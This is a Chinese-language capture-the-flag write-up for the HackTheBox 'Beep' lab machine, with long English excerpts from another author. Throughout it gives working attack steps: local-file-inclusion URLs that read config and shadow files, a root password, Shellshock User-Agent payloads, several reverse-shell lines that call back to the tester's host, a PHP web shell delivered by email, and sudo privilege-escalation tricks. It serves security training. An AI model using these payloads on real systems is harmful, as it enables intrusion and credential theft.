HTB靶场系列 linux靶机 Beep靶机

这个靶场真的很厉害，学到了非常多的东西

需要学习的技能

nmap扫描具体端口 -sC -sV -p 223

searchspoilt 打开文件 -x

sslscan ip 探测目标机器 ssl版本

勘探

首先还是一样用nmap大致扫描，再用nmap对扫出的端口进行细致扫描

nmap

nmap shows a bunch of ports open on the box:

root@kali# nmap -sT -p- --min-rate 5000 -oA nmap/alltcp 10.10.10.7
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-09 12:44 EDT
Nmap scan report for 10.10.10.7
Host is up (0.12s latency).
Not shown: 65519 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
25/tcp    open  smtp
80/tcp    open  http
110/tcp   open  pop3
111/tcp   open  rpcbind
143/tcp   open  imap
443/tcp   open  https
745/tcp   open  unknown
993/tcp   open  imaps
995/tcp   open  pop3s
3306/tcp  open  mysql
4190/tcp  open  sieve
4445/tcp  open  upnotifyp
4559/tcp  open  hylafax
5038/tcp  open  unknown
10000/tcp open  snet-sensor-mgmtNmap done: 1 IP address (1 host up) scanned in 15.41 secondsroot@kali# nmap -sC -sV -p 22,25,80,110,111,143,443,745,993,995,3306,4190,4445,4559,5038,10000 -oA nmap/scriptstcp 10.10.10.7
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-09 12:46 EDT
Nmap scan report for 10.10.10.7
Host is up (0.12s latency).PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey:
|   1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)
|_  2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)
25/tcp    open  smtp       Postfix smtpd
|_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
80/tcp    open  http       Apache httpd 2.2.3
|_http-server-header: Apache/2.2.3 (CentOS)
|_http-title: Did not follow redirect to https://10.10.10.7/
110/tcp   open  pop3       Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_pop3-capabilities: STLS PIPELINING EXPIRE(NEVER) LOGIN-DELAY(0) TOP IMPLEMENTATION(Cyrus POP3 server v2) APOP RESP-CODES UIDL USER AUTH-RESP-CODE
111/tcp   open  rpcbind    2 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100024  1            742/udp  status
|_  100024  1            745/tcp  status
143/tcp   open  imap       Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_imap-capabilities: SORT=MODSEQ Completed IMAP4rev1 RENAME OK URLAUTHA0001 X-NETSCAPE UNSELECT ACL BINARY LISTEXT QUOTA ID IDLE MULTIAPPEND CONDSTORE CATENATE ANNOTATEMORE LIST-SUBSCRIBED THREAD=ORDEREDSUBJECT LITERAL+ THREAD=REFERENCES NO UIDPLUS CHILDREN MAILBOX-REFERRALS SORT STARTTLS NAMESPACE ATOMIC IMAP4 RIGHTS=kxte
443/tcp   open  ssl/http   Apache httpd 2.2.3 ((CentOS))
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Apache/2.2.3 (CentOS)
|_http-title: Elastix - Login page
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2017-04-07T08:22:08
|_Not valid after:  2018-04-07T08:22:08
|_ssl-date: 2018-08-09T15:27:00+00:00; -1h21m36s from scanner time.
745/tcp   open  status     1 (RPC #100024)
993/tcp   open  ssl/imap   Cyrus imapd
|_imap-capabilities: CAPABILITY
995/tcp   open  pop3       Cyrus pop3d
3306/tcp  open  mysql      MySQL (unauthorized)
4190/tcp  open  sieve      Cyrus timsieved 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4 (included w/cyrus imap)
4445/tcp  open  upnotifyp?
4559/tcp  open  hylafax    HylaFAX 4.3.10
5038/tcp  open  asterisk   Asterisk Call Manager 1.1
10000/tcp open  http       MiniServ 1.570 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: Hosts:  beep.localdomain, 127.0.0.1, example.com, localhost; OS: UnixHost script results:
|_clock-skew: mean: -1h21m36s, deviation: 0s, median: -1h21m36sService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 279.65 seconds

The Apache version says the box is CentOS, so it’s likely CentOS 5 (which is super old).

from 0xdf

可以看到得到了很多东西

那么既然看到了开了80/443端口，那一定要打开页面看看

并且用dirsearch跑一下看看有没有可以利用的文件

301 - /images/

200 - /

301 - /help

301 -/modules

301 - /themes

301 - /mail

301 - /admin

301 - /static

301 - /lang

301 - /var

301 - /panel

301 - /libs301

301 -/recordings

301 - /configs

301 -/vtigercrm

然后发现是一个elastix登陆界面，那么就搜索一下有什么可以利用的漏洞

然后就发现了这个

可以依次尝试一下最后四个

获得用户权限

方法一RCE漏洞

可以看到他是一个py文件，那么我们需要把他编辑为我们可以使用的版本

首先找到这个文件位置

用这个命令可以打开文件并显示文件目录，或者可以在退出的地方查看文件目录

那么用vim编辑exp端口位置

这里我们可以看到host和port修改为自己的，那个extension这里可以填233

我们使用语句

──(root@Mr)-[/usr/bin]
└─# svwar -m INVITE -e100-999 10.10.10.7

来探测可以使用的extension

)

或者访问地址https://10.10.10.7/index.php?menu=pbxconfig 来获取

修改好了我们可以尝试运行一下

发现会报一堆错

其中一项原因是ssl证书的问题，那么我们直接忽略

修改成这样，记得引入ssl包 import ssl

再运行发现还是报错，发现靶机的ssl版本太过于古老

我们虚拟机配置文件验证不能通过，所以我们需要修改虚拟机验证文件

打开/etc/ssl/openssl.cnf文件在文件最后面找到

[system_default_sect]

MinProtocol = DEFAULT@SECLEVEL=2

MinProtocol = None

CipherString = DEFAULT@SECLEVEL=2

CipherString = None

修改成这样

这次在运行

成功

方法二LFI

这个exp的详细描述可以看这个

Elastix 2.2.0 - 'graph.php' Local File Inclusion - PHP webapps Exploit (exploit-db.com)

local file include

这个漏洞这要就是因为配置错误导致，可以通过地址栏来访问服务器文件

LFI Exploit: /vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

类似于这样去构造url

https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

这样etc位置放你想阅读的文件

再amportal文件中找到了这个系统管理员密码

)

注意火狐中crt+u整理代码

登陆成功

考虑到密码多用习惯尝试登陆一下ssh

ssh root@10.10.10.7

登陆成功

bash -i >& /dev/tcp/10.10.14.2/8081 0>&1获得shell的转发方法

方法三LFI

登入10.10.10.7/vigercrm后在左下角发现了运行的crm版本

那么查找一下有没有可以利用的漏洞

searchsploit vtiger CRM 5.1.0

发现果然有还是RFI漏洞

查看漏洞文件了解到这个漏洞的用法

https://10.10.10.7/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/shadow%00

剩下的和方法二一样的利用流程

方法四MSF

使用了MSF渗透模块

search vtigercrm 查找漏洞
use 2 使用2号漏洞（exploit/multi/http/vtiger_soap_upload）
set RHOSTS 10.10.10.7 配置参数
set SSL true
set RPORT 443
set LHOST 10.10.16.7
run

方法五WEBMIN

我们之前通过RFI获得的账号密码

root / jEhdIekWmdjE登录尽量10000端口的后台控制面板，

至此我们直接获取了system权限，可以做一切操作，包括改密码，注入指令等，我们可以通过改密码，来实现ssh登录；可以通过发送指令来进行shell转发，都可以就有很多方法攻破靶机了

搜索invert selection为靶机设定一条命令

选择以root权限执行

bash -c 'bash -i >& /dev/tcp/10.10.16.7/4444 0>&1'

之后就获得了一个root权限的shell面板

方法六shellshock

这一个是bash的变量导入错误，可能会发生在对cgi文件的请求中

在webmin的提交用户账号密码处就是一个对cgi文件的post请求

我们可以尝试在这个文件中注入一个shellshock变量污染来获得一个root权限

User-Agent: () { :; };bash -i >& /dev/tcp/10.10.14.2/8081 0>&1

将user-agent一处修改为这样

原理可以看这篇文章

什么是ShellShock攻击？ - 知乎 (zhihu.com)

方法七Email

非常高明的做法，来自于0xdf，摘抄下来

One way to get a file on disk is email. I’ll send an email to one of the accounts on the box, and then find it in /var/mail/[username]. Why not the askerisk account? swaks will send the email (or I could do it with telnet similar to the enumeration above):

root@kali$ swaks --to asterisk@localhost --from 0xdf@0xdf.htb --header "Subject: test shel
l" --body 'check out this code: <?php system($_REQUEST["cmd"]); ?>' --server 10.10.10.7
=== Trying 10.10.10.7:25...
=== Connected to 10.10.10.7.
<-  220 beep.localdomain ESMTP Postfix-> EHLO parrot
<-  250-beep.localdomain
<-  250-PIPELINING
<-  250-SIZE 10240000
<-  250-VRFY
<-  250-ETRN
<-  250-ENHANCEDSTATUSCODES
<-  250-8BITMIME
<-  250 DSN-> MAIL FROM:<0xdf@0xdf.htb>
<-  250 2.1.0 Ok-> RCPT TO:<asterisk@localhost>
<-  250 2.1.5 Ok-> DATA
<-  354 End data with <CR><LF>.<CR><LF>-> Date: Thu, 18 Feb 2021 15:33:00 -0500-> To: asterisk@localhost-> From: 0xdf@0xdf.htb-> Subject: test shell-> Message-Id: <20210218153300.1486384@parrot>-> X-Mailer: swaks v20201014.0 jetmore.org/john/code/swaks/-> -> check out this code: <?php system($_REQUEST["cmd"]); ?>->                                                          ->                    -> .
<-  250 2.0.0 Ok: queued as 5BB88D92FD                       -> QUIT
<-  221 2.0.0 Bye
=== Connection closed with remote host.

Now I can read that file with the LFI at:

view-source:https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../../var/mail/asterisk%00&module=Accounts&action

I’ll add &cmd=id to get execution:

I can turn that into a shell, and privesc just like in method one.

原理我猜应该是，有用过文件包含访问邮件服务器，然后发送的邮件中带有恶意代码，然后通过网页访问就会被执行

view-source:https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../../var/mail/asterisk%00&module=Accounts&action&cmd=id

最后一段

估计是使用burp爆破10000端口的密码，然后用命令执行

If I assume for a second that I didn’t have the root password, I could take some guesses trying to login to webmin. When I try to login, it create a POST request to /session_login.cgi:

POST /session_login.cgi HTTP/1.1
Host: 10.10.10.7:10000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: https://10.10.10.7:10000
DNT: 1
Connection: close
Referer: https://10.10.10.7:10000/
Cookie: testing=1; sid=x
Upgrade-Insecure-Requests: 1page=%2F&user=root&pass=root

Any time there’s CGI (especially on an old machine), it’s time to look for ShellShock. To test, I’ll kick the login request over to Repeater and replace the User-Agent header with the Shellshock exploit string () { :; };[cmd], starting with a simple sleep:

POST /session_login.cgi HTTP/1.1
Host: 10.10.10.7:10000
User-Agent: () { :; };sleep 10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: https://10.10.10.7:10000
DNT: 1
Connection: close
Referer: https://10.10.10.7:10000/
Cookie: testing=1; sid=x
Upgrade-Insecure-Requests: 1page=%2F&user=root&pass=root

It hangs for 10 seconds and then returns. I’ll try a ping:

POST /session_login.cgi HTTP/1.1
Host: 10.10.10.7:10000
User-Agent: () { :; };ping -c 1 10.10.14.2
Content-Length: 28page=%2F&user=root&pass=root

At tcpdump, I see it arrive:

root@kali$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
14:46:35.325588 IP 10.10.10.7 > 10.10.14.2: ICMP echo request, id 23824, seq 1, length 64
14:46:35.325599 IP 10.10.14.2 > 10.10.10.7: ICMP echo reply, id 23824, seq 1, length 64

So now can get shell (as root):

POST /session_login.cgi HTTP/1.1
Host: 10.10.10.7:10000
User-Agent: () { :; };bash -i >& /dev/tcp/10.10.14.2/8081 0>&1
Content-Length: 28page=%2F&user=root&pass=root
root@kali# nc -lnvp 8081
listening on [any] 8081 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.7] 36248
bash: no job control in this shell
[root@beep webmin]# id
uid=0(root) gid=0(root)

获得root权限

用sudo -l

sudo -l
Matching Defaults entries for asterisk on this host:env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIRLS_COLORS MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE LC_COLLATELC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERICLC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSETXAUTHORITY"User asterisk may run the following commands on this host:(root) NOPASSWD: /sbin/shutdown(root) NOPASSWD: /usr/bin/nmap(root) NOPASSWD: /usr/bin/yum(root) NOPASSWD: /bin/touch(root) NOPASSWD: /bin/chmod(root) NOPASSWD: /bin/chown(root) NOPASSWD: /sbin/service(root) NOPASSWD: /sbin/init(root) NOPASSWD: /usr/sbin/postmap(root) NOPASSWD: /usr/sbin/postfix(root) NOPASSWD: /usr/sbin/saslpasswd2(root) NOPASSWD: /usr/sbin/hardware_detector(root) NOPASSWD: /sbin/chkconfig(root) NOPASSWD: /usr/sbin/elastix-helper

方法一nmap

发现有在用root权限运行nmap，那么我们使用nmap来提权

sudo nmap --interactive

！sh

这个其实在方法一的poc中作者就有提及，也就是说存在漏洞一就会存在提权漏洞

方法二chmod

然后还发现给了chmod的root权限，那么我们可以给bash一个s权限来让任何人都可以以root权限获取一个shell

ls -l /bin/bash

-rwxr-xr-x 1 root root 729292 Jan 22 2009 /bin/bash

bash-3.2$ sudo chmod 4755 /bin/bash

bash-3.2$ ls -l /bin/bash

-rwsr-xr-x 1 root root 729292 Jan 22 2009 /bin/bash

这个地方有一个说法有些不懂

Now just run it (with -p to not drop privs) and get a root shell:
bash-3.2$ bash -p
bash-3.2# id
uid=100(asterisk) gid=101(asterisk) euid=0(root)

应该就是说不弹出一个全新的shell，bash也只是以一个进程运行在原先的shell上

方法三webmin

方法三同获取用户权限的方法五